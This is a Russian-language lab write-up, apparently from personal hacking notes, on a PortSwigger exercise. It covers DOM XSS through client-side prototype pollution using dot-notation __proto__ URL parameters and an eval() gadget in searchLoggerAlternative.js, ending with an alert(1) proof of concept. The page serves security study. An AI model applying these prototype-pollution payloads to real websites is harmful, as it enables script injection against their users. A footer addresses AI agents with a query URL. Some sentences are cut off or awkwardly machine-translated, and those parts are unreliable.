> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md).

# DOM XSS через альтернативный вектор отравления прототипа

Заметки по лабораторным работам PortSwigger Web Security Academy о DOM XSS через альтернативный вектор отравления прототипа, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст устранения уязвимости.

### DOM XSS через альтернативный вектор загрязнения прототипа

#### Контекст лабораторной работы

Приложение выполняет JavaScript на стороне браузера и строит некоторые объекты на основе настроек URL. Цель — **загрязнить `Object.prototype`** (то есть внедрить свойство, которое будет унаследовано другими объектами), а затем найти \*\*

#### Анализ источника загрязнения

**Начальный тест (не работает)**

Первый тест — внедрить свойство через URL:

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

После проверки консоли:

```javascript
console.log({}.foo)
```

Результат — `undefined`, и никакое свойство не появляется в `Object.prototype`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05ab5aa2439d8da87d057b612d35ac8f406a996a%2Fimage%20(116).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Вывод: парсер параметров, используемый приложением, \*\*не обрабатывает запись со скобками\*\* для `__proto__`.

```javascript
Object.prototype
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-896ba8b6e245401002aed25c99e6c579f7210ee5%2Fimage%20(117).png?alt=media" alt=""><figcaption></figcaption></figure>

**Рабочий альтернативный вектор**

Используя запись с точкой:

```javascript
?__proto__.foo=bar
```

На этот раз:

```javascript
console.log({}.foo)
```

Корректно возвращает `bar`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d0cd35ed84511f553d5bae4c67f76e6e43f6856%2Fimage%20(118).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`Object.prototype` загрязнение работает с этим форматом, что указывает на то, что парсер принимает `__proto__.key` запись.

#### Идентификация гаджета

Эта `searchLoggerAlternative.js` файл содержит следующий код:

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Не удалось сохранить запрос");
    }
}

async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}

window.addEventListener("load", searchLogger);
```

Ключевые моменты:

* `manager.sequence` может наследоваться от `Object.prototype`.
* Его значение вставляется **непосредственно в цепочку, передаваемую `eval()`**.
* Проверка типа или содержимого не выполняется.

`eval()` поэтому является **эксплуатируемым гаджетом**.

#### Эксплуатация

Эта `sequence` свойство загрязнено в глобальном прототипе:

```javascript
?__proto__.sequence=alert(1) -
```

Ход действий:

* `manager.sequence` восстанавливает загрязнённое значение из `Object.prototype`.
* Эта `a + 1` операция превращает цепочку в `alert(1) -1`.
* Это значение внедряется в строку, выполняемую `eval()`.

Результат:

* `alert(1)` выполняется при загрузке страницы.
* Эта **DOM XSS успешно срабатывает**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-84c1a76040e3b798de46ac9c824a04ade9c09080%2Fimage%20(119).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
